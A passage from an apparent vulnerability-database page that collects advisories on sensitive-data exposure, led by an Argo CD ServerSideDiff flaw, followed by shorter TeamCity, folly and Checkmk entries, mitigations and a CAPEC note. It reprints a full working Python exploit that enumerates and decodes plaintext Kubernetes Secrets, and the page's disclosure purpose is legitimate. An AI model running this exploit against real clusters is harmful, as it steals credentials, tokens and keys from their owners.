"tls.key": base64.b64encode(b"PLACEHOLDER").decode(),
}
elif stype == "kubernetes.io/dockerconfigjson":
target["data"] = {".dockerconfigjson": base64.b64encode(b'{"auths":{}}').decode()}
# encode the grpc request
lr = b""
lr += encode_str(2, "Secret") # kind
lr += encode_str(3, sns) # namespace
lr += encode_str(4, sname) # name
if live_json:
lr += encode_str(6, live_json) # liveState
lr += encode_bool(12, True) # modified
query = encode_str(1, app_name)
query += encode_str(3, project)
query += encode_bytes(4, lr)
query += encode_str(5, json.dumps(target))
# reconnect for each call (simple, no pool needed for poc)
try:
conn = make_conn(host)
resp_data, err = grpc_post(conn, token, query)
except Exception as e:
print(" [!] %s/%s: %s" % (sns, sname, e))
continue
if err:
print(" [!] %s/%s: %s" % (sns, sname, err))
continue
# parse response
resp_fields = decode_fields(resp_data)
for item_bytes in resp_fields.get(1, []):
if not isinstance(item_bytes, bytes):
continue
ifields = decode_fields(item_bytes)
# field 5 = targetState (predictedLive — has real values from etcd)
for raw in ifields.get(5, []):
if not isinstance(raw, bytes):
continue
try:
obj = json.loads(raw)
except Exception:
continue
if obj.get("kind") != "Secret":
continue
secret_data = obj.get("data", {})
if not secret_data:
continue
# check for real (non-masked) values
real_keys = {}
for k, v in secret_data.items():
if not v:
continue
if all(c == "+" for c in v):
continue # masked by argocd
try:
decoded = base64.b64decode(v)
text = decoded.decode("utf-8", errors="replace")
except Exception:
continue
if all(c == "+" for c in text) and text:
continue # masked (base64 of +++...)
real_keys[k] = text
if real_keys:
total_extracted += 1
print("\n [***] %s/%s (%s)" % (sns, sname, stype))
print(" %d/%d keys extracted:" % (len(real_keys), len(secret_data)))
for k in sorted(real_keys):
v = real_keys[k].replace("\n", "\\n")
if len(v) > 120:
v = v[:120] + "..."
print(" %s: %s" % (k, v))
print("\n[*] Done. %d secrets with real values extracted." % total_extracted)
if __name__ == "__main__":
main()
Impact
Any user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.11"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/argoproj/argo-cd/v3"
},
"ranges": [
{
"events": [
{
"introduced": "3.3.0"
},
{
"fixed": "3.3.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-42880"
],
"database_specific": {
"cwe_ids": [
"CWE-200",
"CWE-212"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-07T01:56:53Z",
"nvd_published_at": "2026-05-07T23:16:32Z",
"severity": "CRITICAL"
},
"details": "### Summary\nThere is a missing authorization and data-masking gap in Argo CD\u0027s ServerSideDiff endpoint that allows an attacker with read-only access to extract plaintext Kubernetes Secret data from etcd via the Kubernetes API server\u0027s Server-Side Apply dry-run mechanism.\n\n### Details\nArgo CD masks Secret data in every endpoint that returns Kubernetes resource state except one. All the other endpoints such as GetManifests, GetManifestsWithFiles, GetResource and PatchResource utilize hideSecretData() to mask the returned secret value. The vulnerable function ServerSideDiff gRPC/REST endpoint (/application.ApplicationService/ServerSideDiff) constructs its response with raw, unmasked PredictedLive and NormalizedLive states:\n\n```\n// server/application/application.go:3051-3062\nresponseDiffs = append(responseDiffs, \u0026v1alpha1.ResourceDiff{\n TargetState: string(diffRes.PredictedLive),\n LiveState: string(diffRes.NormalizedLive),\n})\n```\n\nA user only requires RBAC to call this ServerSideDiff function. Every authenticated Argo CD user has get access via the default role:catch-all policy. However, Argo CD has a defense layer called removeWebhookMutation() that normally strips non-Argo CD-managed fields from the Server Side Apply (SSA) dry-run response and merges them with the client-provided (masked) live state. This prevents real Secret values from leaking through the diff. However, this defense is entirely skipped when the Application has the annotation argocd.argoproj.io/compare-options: IncludeMutationWebhook=true.\nWhen IncludeMutationWebhook=true is set, ignoreMutationWebhook becomes false, and the defense is skipped entirely:\n\n```\nif o.ignoreMutationWebhook {\n predictedLive, err = removeWebhookMutation(predictedLive, live, o.gvkParser, o.manager)\n}\n```\n\nThe raw Kubernetes SSA dry-run response which contains real Secret values read from etcd is then flown directly into the API response with no masking.\n\nWhen ServerSideDiff is called, the handler invokes K8sServerSideDryRunner.Run(), which performs the equivalent of:\n\n`kubectl apply --server-side --dry-run=server --field-manager=argocd-controller\n`\nFor extraction to succeed, the Secret\u0027s data fields must be owned by at least one non-Argo CD SSA field manager. When argocd-controller is the sole field manager for data, the SSA dry-run garbage-collects those fields (since the target manifest omits them). When a second manager exists (e.g., kube-controller-manager), that manager retains ownership and the real values survive in the response.\n\n### PoC\n```\n#!/usr/bin/env python3\n\"\"\"\nArgo CD ServerSideDiff Secret Extraction PoC\n\nUsage:\n python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\n\nExample:\n python3 poc.py argocd.int.\u003ccustomer\u003e.com eyJhbG... my-app my-project\n\"\"\"\n\nimport base64\nimport http.client\nimport json\nimport ssl\nimport struct\nimport sys\nimport urllib.parse\nfrom collections import defaultdict\n\ndef encode_varint(v):\n out = []\n while v \u003e 0x7f:\n out.append((v \u0026 0x7f) | 0x80)\n v \u003e\u003e= 7\n out.append(v \u0026 0x7f)\n return bytes(out)\n\ndef encode_str(field, val):\n tag = (field \u003c\u003c 3) | 2\n raw = val.encode()\n return encode_varint(tag) + encode_varint(len(raw)) + raw\n\ndef encode_bytes(field, val):\n tag = (field \u003c\u003c 3) | 2\n return encode_varint(tag) + encode_varint(len(val)) + val\n\ndef encode_bool(field, val):\n tag = (field \u003c\u003c 3) | 0\n return encode_varint(tag) + encode_varint(1 if val else 0)\n\ndef decode_varint(data, pos):\n val, shift = 0, 0\n while pos \u003c len(data):\n b = data[pos]; pos += 1\n val |= (b \u0026 0x7f) \u003c\u003c shift; shift += 7\n if not (b \u0026 0x80):\n break\n return val, pos\n\ndef decode_fields(data):\n fields = defaultdict(list)\n pos = 0\n while pos \u003c len(data):\n tag, pos = decode_varint(data, pos)\n wtype = tag \u0026 0x07\n if wtype == 0:\n val, pos = decode_varint(data, pos)\n fields[tag \u003e\u003e 3].append(val)\n elif wtype == 2:\n length, pos = decode_varint(data, pos)\n fields[tag \u003e\u003e 3].append(data[pos:pos + length])\n pos += length\n elif wtype == 5:\n fields[tag \u003e\u003e 3].append(data[pos:pos + 4]); pos += 4\n elif wtype == 1:\n fields[tag \u003e\u003e 3].append(data[pos:pos + 8]); pos += 8\n else:\n break\n return dict(fields)\n\n\n# -- grpc-web framing --\n\ndef grpc_frame(payload):\n return b\"\\x00\" + struct.pack(\"\u003eI\", len(payload)) + payload\n\ndef decode_grpc_frames(data):\n frames, pos = [], 0\n while pos + 5 \u003c= len(data):\n flag = data[pos]\n length = struct.unpack(\"\u003eI\", data[pos+1:pos+5])[0]\n pos += 5\n frames.append((flag, data[pos:pos+length]))\n pos += length\n return frames\n\n\n# -- http helpers --\n\ndef make_conn(host):\n ctx = ssl.create_default_context()\n ctx.check_hostname = False\n ctx.verify_mode = ssl.CERT_NONE\n return http.client.HTTPSConnection(host, 443, context=ctx, timeout=10)\n\ndef rest_get(conn, path, token):\n conn.request(\"GET\", path, headers={\n \"Authorization\": \"Bearer \" + token,\n \"Accept\": \"application/json\",\n })\n resp = conn.getresponse()\n body = resp.read()\n if resp.status != 200:\n return None, \"HTTP %d\" % resp.status\n return json.loads(body), None\n\ndef grpc_post(conn, token, payload):\n conn.request(\"POST\", \"/application.ApplicationService/ServerSideDiff\",\n body=grpc_frame(payload), headers={\n \"Content-Type\": \"application/grpc-web+proto\",\n \"Accept\": \"application/grpc-web+proto\",\n \"X-Grpc-Web\": \"1\",\n \"Authorization\": \"Bearer \" + token,\n })\n resp = conn.getresponse()\n raw = resp.read()\n if resp.status != 200:\n return None, \"HTTP %d\" % resp.status\n frames = decode_grpc_frames(raw)\n for flag, fdata in frames:\n if flag == 0:\n return fdata, None\n return None, \"no data frame in response\"\n\n\n# -- main --\n\ndef main():\n if len(sys.argv) != 5:\n print(\"Usage: python3 poc.py \u003chost\u003e \u003ctoken\u003e \u003capp\u003e \u003cproject\u003e\")\n sys.exit(1)\n\n host, token, app_name, project = sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]\n conn = make_conn(host)\n\n # step 1: list managed resources for the app, find secrets\n print(\"[*] Fetching managed resources for %s/%s ...\" % (project, app_name))\n data, err = rest_get(conn, \"/api/v1/applications/%s/managed-resources\" % urllib.parse.quote(app_name), token)\n if err:\n print(\"[-] Failed: %s\" % err); sys.exit(1)\n\n secrets = []\n for r in data.get(\"items\", []):\n if r.get(\"kind\") != \"Secret\":\n continue\n name = r.get(\"name\", \"\")\n ns = r.get(\"namespace\", \"\")\n live = r.get(\"liveState\", \"\")\n stype = \"Opaque\"\n if live and live != \"null\":\n try:\n stype = json.loads(live).get(\"type\", \"Opaque\")\n except Exception:\n pass\n secrets.append((name, ns, stype, live))\n\n if not secrets:\n print(\"[-] No secrets found in managed resources\"); sys.exit(0)\n print(\"[+] Found %d secrets\" % len(secrets))\n\n # step 2: call ServerSideDiff for each secret\n total_extracted = 0\n for sname, sns, stype, live_json in secrets:\n # build minimal target manifest (no data field)\n target = {\"apiVersion\": \"v1\", \"kind\": \"Secret\",\n \"metadata\": {\"name\": sname, \"namespace\": sns},\n \"type\": stype}\n\n # copy required annotations from live state for SA tokens\n if live_json and live_json != \"null\":\n try:\n live_annots = json.loads(live_json).get(\"metadata\", {}).get(\"annotations\", {})\n k8s_annots = {k: v for k, v in live_annots.items() if k.startswith(\"kubernetes.io/\")}\n if k8s_annots:\n target[\"metadata\"][\"annotations\"] = k8s_annots\n except Exception:\n pass\n\n # for TLS secrets, include required placeholder keys\n if stype == \"kubernetes.io/tls\":\n target[\"data\"] = {\n \"tls.crt\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n \"tls.key\": base64.b64encode(b\"PLACEHOLDER\").decode(),\n }\n elif stype == \"kubernetes.io/dockerconfigjson\":\n target[\"data\"] = {\".dockerconfigjson\": base64.b64encode(b\u0027{\"auths\":{}}\u0027).decode()}\n\n # encode the grpc request\n lr = b\"\"\n lr += encode_str(2, \"Secret\") # kind\n lr += encode_str(3, sns) # namespace\n lr += encode_str(4, sname) # name\n if live_json:\n lr += encode_str(6, live_json) # liveState\n lr += encode_bool(12, True) # modified\n\n query = encode_str(1, app_name)\n query += encode_str(3, project)\n query += encode_bytes(4, lr)\n query += encode_str(5, json.dumps(target))\n\n # reconnect for each call (simple, no pool needed for poc)\n try:\n conn = make_conn(host)\n resp_data, err = grpc_post(conn, token, query)\n except Exception as e:\n print(\" [!] %s/%s: %s\" % (sns, sname, e))\n continue\n if err:\n print(\" [!] %s/%s: %s\" % (sns, sname, err))\n continue\n\n # parse response\n resp_fields = decode_fields(resp_data)\n for item_bytes in resp_fields.get(1, []):\n if not isinstance(item_bytes, bytes):\n continue\n ifields = decode_fields(item_bytes)\n\n # field 5 = targetState (predictedLive \u2014 has real values from etcd)\n for raw in ifields.get(5, []):\n if not isinstance(raw, bytes):\n continue\n try:\n obj = json.loads(raw)\n except Exception:\n continue\n if obj.get(\"kind\") != \"Secret\":\n continue\n secret_data = obj.get(\"data\", {})\n if not secret_data:\n continue\n\n # check for real (non-masked) values\n real_keys = {}\n for k, v in secret_data.items():\n if not v:\n continue\n if all(c == \"+\" for c in v):\n continue # masked by argocd\n try:\n decoded = base64.b64decode(v)\n text = decoded.decode(\"utf-8\", errors=\"replace\")\n except Exception:\n continue\n if all(c == \"+\" for c in text) and text:\n continue # masked (base64 of +++...)\n real_keys[k] = text\n\n if real_keys:\n total_extracted += 1\n print(\"\\n [***] %s/%s (%s)\" % (sns, sname, stype))\n print(\" %d/%d keys extracted:\" % (len(real_keys), len(secret_data)))\n for k in sorted(real_keys):\n v = real_keys[k].replace(\"\\n\", \"\\\\n\")\n if len(v) \u003e 120:\n v = v[:120] + \"...\"\n print(\" %s: %s\" % (k, v))\n\n print(\"\\n[*] Done. %d secrets with real values extracted.\" % total_extracted)\n\nif __name__ == \"__main__\":\n main()\n```\n\n### Impact\nAny user with Argo CD application get permissions can extract real Kubernetes Secret values including service account tokens, TLS certificates, database credentials, and API keys. On Applications where IncludeMutationWebhook=true is already set, exploitation requires only read-only Argo CD access.",
"id": "GHSA-3v3m-wc6v-x4x3",
"modified": "2026-05-11T13:30:01Z",
"published": "2026-05-07T01:56:53Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/argoproj/argo-cd/security/advisories/GHSA-3v3m-wc6v-x4x3"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42880"
},
{
"type": "PACKAGE",
"url": "https://github.com/argoproj/argo-cd"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "ArgoCD ServerSideDiff is vulnerable to Kubernetes Secret Extraction"
}
GHSA-445Q-7482-76FP
Vulnerability from github – Published: 2024-12-20 15:30 – Updated: 2024-12-20 15:30In JetBrains TeamCity before 2024.12 backup file exposed user credentials and session cookies
{
"affected": [],
"aliases": [
"CVE-2024-56353"
],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-12-20T15:15:09Z",
"severity": "MODERATE"
},
"details": "In JetBrains TeamCity before 2024.12 backup file exposed user credentials and session cookies",
"id": "GHSA-445q-7482-76fp",
"modified": "2024-12-20T15:30:48Z",
"published": "2024-12-20T15:30:48Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2024-56353"
},
{
"type": "WEB",
"url": "https://www.jetbrains.com/privacy-security/issues-fixed"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:L/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-46JM-3G2R-J53X
Vulnerability from github – Published: 2022-05-13 01:32 – Updated: 2022-05-13 01:32folly::secureRandom will re-use a buffer between parent and child processes when fork() is called. That will result in multiple forked children producing repeat (or similar) results. This affects HHVM 3.26 prior to 3.26.3 and the folly library between v2017.12.11.00 and v2018.08.09.00.
{
"affected": [],
"aliases": [
"CVE-2018-6337"
],
"database_specific": {
"cwe_ids": [
"CWE-119",
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2018-12-31T22:29:00Z",
"severity": "HIGH"
},
"details": "folly::secureRandom will re-use a buffer between parent and child processes when fork() is called. That will result in multiple forked children producing repeat (or similar) results. This affects HHVM 3.26 prior to 3.26.3 and the folly library between v2017.12.11.00 and v2018.08.09.00.",
"id": "GHSA-46jm-3g2r-j53x",
"modified": "2022-05-13T01:32:03Z",
"published": "2022-05-13T01:32:03Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2018-6337"
},
{
"type": "WEB",
"url": "https://github.com/facebook/folly/commit/8e927ee48b114c8a2f90d0cbd5ac753795a6761f"
},
{
"type": "WEB",
"url": "https://github.com/facebook/hhvm/commit/e2d10a1e32d01f71aaadd81169bcb9ae86c5d6b8"
},
{
"type": "WEB",
"url": "https://hhvm.com/blog/2018/05/24/hhvm-3.26.3.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
]
}
GHSA-5393-2V6G-PGWC
Vulnerability from github – Published: 2025-12-18 15:30 – Updated: 2025-12-23 18:30SSH private keys of the "Remote alert handlers (Linux)" rule were exposed in the rule page's HTML source in Checkmk <= 2.4.0p18 and all versions of Checkmk 2.3.0. This potentially allowed unauthorized triggering of predefined alert handlers on hosts where the handler was deployed.
{
"affected": [],
"aliases": [
"CVE-2025-65000"
],
"database_specific": {
"cwe_ids": [
"CWE-212"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2025-12-18T14:15:59Z",
"severity": "LOW"
},
"details": "SSH private keys of the \"Remote alert handlers (Linux)\" rule were exposed in the rule page\u0027s HTML source in Checkmk \u003c= 2.4.0p18 and all versions of Checkmk 2.3.0. This potentially allowed unauthorized triggering of predefined alert handlers on hosts where the handler was deployed.",
"id": "GHSA-5393-2v6g-pgwc",
"modified": "2025-12-23T18:30:24Z",
"published": "2025-12-18T15:30:43Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-65000"
},
{
"type": "WEB",
"url": "https://checkmk.com/werk/19030"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
"type": "CVSS_V4"
}
]
}
Mitigation
Clearly specify which information should be regarded as private or sensitive, and require that the product offers functionality that allows the user to cleanse the sensitive information from the resource before it is published or exported to other parties.
Mitigation MIT-46
Strategy: Separation of Privilege
- Compartmentalize the system to have "safe" areas where trust boundaries can be unambiguously drawn. Do not allow sensitive data to go outside of the trust boundary and always be careful when interfacing with a compartment outside of the safe area.
- Ensure that appropriate compartmentalization is built into the system design, and the compartmentalization allows for and reinforces privilege separation functionality. Architects and designers should rely on the principle of least privilege to decide the appropriate time to use privileges and the time to drop privileges.
Mitigation MIT-57
Strategy: Attack Surface Reduction
- Some tools can automatically analyze documents to redact, strip, or "sanitize" private information, although some human review might be necessary. Tools may vary in terms of which document formats can be processed.
- When calling an external program to automatically generate or convert documents, invoke the program with any available options that avoid generating sensitive metadata. Some formats have well-defined fields that could contain private data, such as Exchangeable image file format (Exif), which can contain potentially sensitive metadata such as geolocation, date, and time [REF-1515] [REF-1516].
Mitigation MIT-33
Strategy: Attack Surface Reduction
Use naming conventions and strong types to make it easier to spot when sensitive data is being used. When creating structures, objects, or other complex entities, separate the sensitive and non-sensitive data as much as possible.
Mitigation
Avoid errors related to improper resource shutdown or release (CWE-404), which may leave the sensitive data within the resource if it is in an incomplete state.
CAPEC-168: Windows ::DATA Alternate Data Stream
An attacker exploits the functionality of Microsoft NTFS Alternate Data Streams (ADS) to undermine system security. ADS allows multiple "files" to be stored in one directory entry referenced as filename:streamname. One or more alternate data streams may be stored in any file or directory. Normal Microsoft utilities do not show the presence of an ADS stream attached to a file. The additional space for the ADS is not recorded in the displayed file size. The additional space for ADS is accounted for in the used space on the volume. An ADS can be any type of file. ADS are copied by standard Microsoft utilities between NTFS volumes. ADS can be used by an attacker or intruder to hide tools, scripts, and data from detection by normal system utilities. Many anti-virus programs do not check for or scan ADS. Windows Vista does have a switch (-R) on the command line DIR command that will display alternate streams.